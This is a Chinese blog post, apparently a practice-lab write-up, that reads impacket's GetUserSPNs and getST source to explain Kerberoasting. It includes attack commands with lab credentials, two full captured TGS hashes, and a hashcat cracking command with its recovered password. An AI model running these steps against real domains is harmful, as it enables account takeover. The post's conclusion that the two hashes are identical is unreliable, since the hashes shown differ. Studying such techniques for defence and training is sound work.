0%

从impacket源码分析SPN

前言

之前一直疑惑,网上都在说,通过这个去请求服务的TGS

1
proxychains GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user chenchen

但是上面的命令又是-request-user,去请求用户,就搞得我很迷糊,最终还是通过查看源码,大概搞懂了

SPN简介

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN 格式

1
serviceclass/host:port/servicename

可以通过

1
setspn -A MSSQLSvc/DM.test.local:1433 sqladmin

注册一个名为MSSQLSvc的SPN,将他分配给sqladmin这个域管账户

源码分析

之前打靶场遇到了一个问题

1
proxychains GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user chenchen

通过上面的命令获取到了chenchen的ST,但是从上文说的,SPN是服务的标识符,那我怎么会获取到绑定该服务的域用户的ST,按理应该是获取到服务的ST才对

GetUserSPNs源码简析

接下来看看GetUserSPNs.py的关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
TGT = self.getTGT()
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None

for user, SPN in users.items():
sAMAccountName = user
downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName

try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,self.__kdcIP,TGT['KDC_REP'], TGT['cipher'],TGT['sessionKey'])

self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,
self.__targetDomain + "/" + sAMAccountName, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Principal: %s - %s' % (downLevelLogonName, str(e)))

先获取TGT
接下来通过这行代码获取TGS
1
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain,self.__kdcIP,TGT['KDC_REP'], TGT['cipher'],TGT['sessionKey'])

而且是用user,获取到TGS
而for循环中的SPN是没有使用到的。

在这段代码最后self.outputTGS打印出你要请求的用户的TGS

GetST源码简析

上面的很容易理解,接下来看看GetST的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if TGT is not None:
tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
oldSessionKey = sessionKey

if tgt is None:
# Still no TGT
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
logging.info('Getting TGT for user')
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)

# Ok, we have valid TGT, let's try to get a service ticket
if self.__options.impersonate is None:
# Normal TGS interaction
logging.info('Getting ST for user')
serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)

self.__saveFileName = self.__user
else:
# Here's the rock'n'roll
try:
logging.info('Impersonating %s' % self.__options.impersonate)
# Editing below to pass hashes for decryption
if self.__additional_ticket is not None:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost, self.__additional_ticket)
else:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
except Exception as e:
logging.debug("Exception", exc_info=True)
logging.error(str(e))
if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
if str(e).find('KDC_ERR_BADOPTION') >= 0:
logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)

return
self.__saveFileName = self.__options.impersonate

self.saveTicket(tgs, oldSessionKey)

GetUserSPNs相似,也是获取到TGT后,判断你的命令中是否有委派(这里不对委派做介绍),如果没有委派就与GetUserSPNs一样,通过getKerberosTGS获取ST。
但是有一点不同的地方
1
Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)

在这一行,可以看到他用到了spn,并且没有用到过user

在代码的最后,与GetUserSPNs不一样,他是保存ST

1
self.saveTicket(tgs, oldSessionKey)

看看具体代码

1
2
3
4
5
6
def saveTicket(self, ticket, sessionKey):
logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
ccache = CCache()

ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__saveFileName + '.ccache')

他把ST保存成了ccache

SPN or Users

按照上面的源码分析,那GetSTGetUserSPNs,应该是不一样的。接下来用一个真实环境来验证一下,我这里用的云镜的Certify

获取SPN

首先获取SPN和对应的user

1
proxychains4 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

GetUserSPNs

通过GetUserSPNs获取user的ST

1
proxychains4 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user chenchen

ST

1
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$7fa0e479f4b98d330648eace979d6899$ef080eb849dde02f3bc909fcb96bb9415c1845edcd907856ecf1a56b6c2af338afffaf7adfb5dc66cfc0dd75bf37a81eda6b6c4542167096e9095eaf7142107b9a2ec26e556090647df180b522ab8a14e19db9a47bb69a16910f7a9e67301dc8b6fb5bb05593651d96238a03475dc6f0a94802301f65decb2b28c8d3e1d5f5d1413e58c6484afa1e53deef504ff0b9d22000519954d09d491f3b707c394248cff0230c2684940b93a881cafb440b4cfe0db4bd45aaa5cd001f91f97291e45506c3d892fd44e27fb6102c242a7023e6b3f25d942d5ca0b321562d955ec8ec750d22a00d9d1aae2f11731770ac7ec39352f8f15fc3223fcee9648870e0d5ff89e64e1e1b6532ae311d086c64bc6ccad31e2eb60e83778927f17880319185bcab68121bd7ee13c0576d174fa91573b6f010f151d807e962870d3e00cd0ae20ccaa2c018ce8d0027cc6795794430c2824dc331ebff70f6d34f43548e1728329840d6fc0309fa97b3d0e77f71d15df082d84561322255fc8b29fce8a922c1e8a34a75de5c764f8d8dc3449aa6359c9b26ff8b779443d46c19220424916bdff44fb939ad69a59fd48a4df5b01eaf1c80a5955994d26880585dd19da25717e395828be889ec279ab254fc220e87acf092ce2f33a98016b38d2556f98f6b4c1a31ff309821d01f3ed2746d7b32967e6f632c39c08f9ac4a53626dd5d2d6836415bc83bf3918f640a4ac71afb6190db79828f7d0775799e412481e4bd84625b23ac96ba168e52693454762c47a13b10120b379db043d8f90b4bd5b998c7e84aab8d65261499d434f5c63c8e8bf43ee4133417fb5b04a86df9926dee30465283566a76b38f004f86e9891ce9a353713d665992695a829756b9b15ca6de95b04cd4e3a2d18767a054018f24bef9a5e40cc8f11ee01b736fefa56e05b3cd2768c0904f7545c731b26a12f311ba7fb40a36ef7eaa57b791bb2484fd98f661d10081b852206d67ddde737d3fdadb920027bf0c611c4b320da0883a075f1150f69d76d39977e3714a10659a69b339f67d6a550e3d84fd9bcf9b54297ac8f17b3202040a6af2bd0250f4495c32c46674ba661932f017d39b462a0c12c21536dfd3be2e6812623cf640f04b74c5de1eaed0be56e2230815dce87a3e7a96973d8ccaa781e65f66004c5ac9dba83a94e33f6c0bde7337a5924637d67777e5ec649b165e20180dd3a2c6f1593bd051beba17b23e0946cc4a48fd32cc3641cded1bb0e526c53d5c8fca3a5d5811f98aa59f1e5f7d086cd139e6b9790f06f1089ee1b3c959bc431949dca81261e21a4646ad0c6d4e42bd0682432bdde3f379c48958903d3dbe96565b80c18bf6334877f8f5057ee198da600ac9234bce72a8e180139df5ded784f06a4b01799a8c8651ad69d211520b06c58aa981c7591b1efcbe95a367eac90548b6d2bc594c710bde364ba58087bf5b8b53727b69139d201ddbf15aa745289a70fda4a824ca5239bcfee7ac22ec9bbb9ec6

GetST

通过GetST获取SPN的st
因为他有一个转换ccache的过程,所以要把他代码改一下

增加一行

1
self.outputTGS(tgs, oldSessionKey, sessionKey, "", "", None)

并把下面的代码粘贴到类里面

接下来就可以获取SPN的ST了

1
proxychains4 python getST.py xiaorang.lab/zhangjian:i9XDE02pLVf -dc-ip 172.22.9.7 -spn TERMSERV/win2016.xiaorang.lab

ST
1
$krb5tgs$23$*$XIAORANG.LAB$*$0ce89c5a5440709db8cd0da786ab1ed5$c4b6d477aac038b4958157e55377f91b03788e4173db8c5df6cb3d95a8e2f9d78bd486af0df68960aec23e52ec2a4c9ca7707318d08d9a3c995ab0c70042f2b4c7c7ea9fc269bb31a76597692ca7f2774283d90c3f19f280236fa6c12ec7d52da1c6f24fb7f2a508ba8bb3fcafb4a669bc6856e567ec6d96d82c42600d07aa5fd68a0b298a3964525bdb77d1227df64a9a92a1aeeafacbf5238c92a156450dd934ed5e7bd6b9b8a965e6d522b6c7501ae49d95818aad9304aeb54e75824f02ef3a8855212ecffd272507308ab996b14dd648c7828962995b249c44a74ddacde8ada0f58c7f84d09b2914f48464aa8f02ea129737c3ebe277e39743184c6715967a64feec56aa174d065151fbd36b3d655d7fb7dae66830efa59798023522e6d40d2e17c5d3465609af7df0a61ea66961256455a51405c6162efdab3c29148ff3bdff77923dafec9647b6bb992ba3bd981a0bf60b2f1629cce9bf9f4e2a3dbd62ff21c10a0f5eba667fc8649c2d1eab273c023209e7273bd7eeef39ffd32889ff2467b866e6b454e7bb2b750065ed6b3ddb75a3a0cf6234ed26eab8ed9bd00e685a40036725cfd6416e1c607c91981e19bb71f27d78365756c0e2d0da57166799058b22a7d507b2413191be7a36a887464d6849a18555a9d0b087dd334d9c05687e3d7519110463f4c9d916627f35aa20059dd57b9d35024aa3d716fc20a7c1b4b9d8756c4a9a6aafd81b07033347c718fc23a51b6919c5dded962e0e7e426fd06c15b61feacb3aa9a8d040b74b38e2f333cf3522509e18dd77cd2e3a743084e0dff25ca1d3547cf91575aedd74541bdaa1a96399983b39b12221f157c3ccdfec099b1ba638fbde2a563683d11fe7d5844b13e6d800f0fdcc59056c747b691c5083469f576bac3f4960c176b3e84a74905ef7cb73942e8514cbb00dd2ee74935917c1fe3ff289936eba9aeb1233069f138e623f8593ec37a145148e5320f3ecc0ca06a7107f93d8d7d2f6ed29f03e3a1f547dc7637b40c424e5357f95ddf19d24dcb67ce9a8c166b3c5b28ed9d4da1cae1762c4dda158a8ef06cd4153d9f0eb6fbe695d105bce8e0270e3a24b01156a87e729b5c87fec57f08f91428d3652e5227903665d41fffec8a41b5ddd4426fb3324066af683a86c1bca6e1cc82b04d3a3508bb31e9f5545f63775ed1271c03b498dcad91acc21625bf1b047f7cb9989b8cca254219d85d804ccb51814c538762f5474d44411d9c411b1f99682c0892c6f95e149c6c1fb186486e1e1400b0d888c1b94b3d659ec30e45af95dee0d7e3835b457c8d0a9f7d81c1b9bdc636673972f56118706e56f44238fad032c9e4c2ff906a3483c1437e449f82da86bb88a82be824501940284c59b3e62bcfc5a94faece71397c906b680f122c3c3755811371bf183f018aa927834662bc6d977424a781074ec440ee46cf7df449eeb215bfbf3037d7f208527a7d929c828f4752d01decf011d0a0aa9746a1b5a64694d04

hashcat 爆破

记得用rockyou爆破

1
hashcat -a 0 -m 13100 hash.txt pass.txt


可以看到密码是@Passw0rd@

接下来爆破另一个,命令与上面相同,把hash替换一下就行

可以看到密码也是一样的

结论

最后diff一下两个hash,会发现是完全一样的,那么就应该不管是通过请求SPN还是user,都可以获取到相同的hash,所以我应该都是获取到chenchen的这个域用户的hash
那么平时说的获取服务的TGS,其实也就是在获取绑定该服务的域用户的hash

参考链接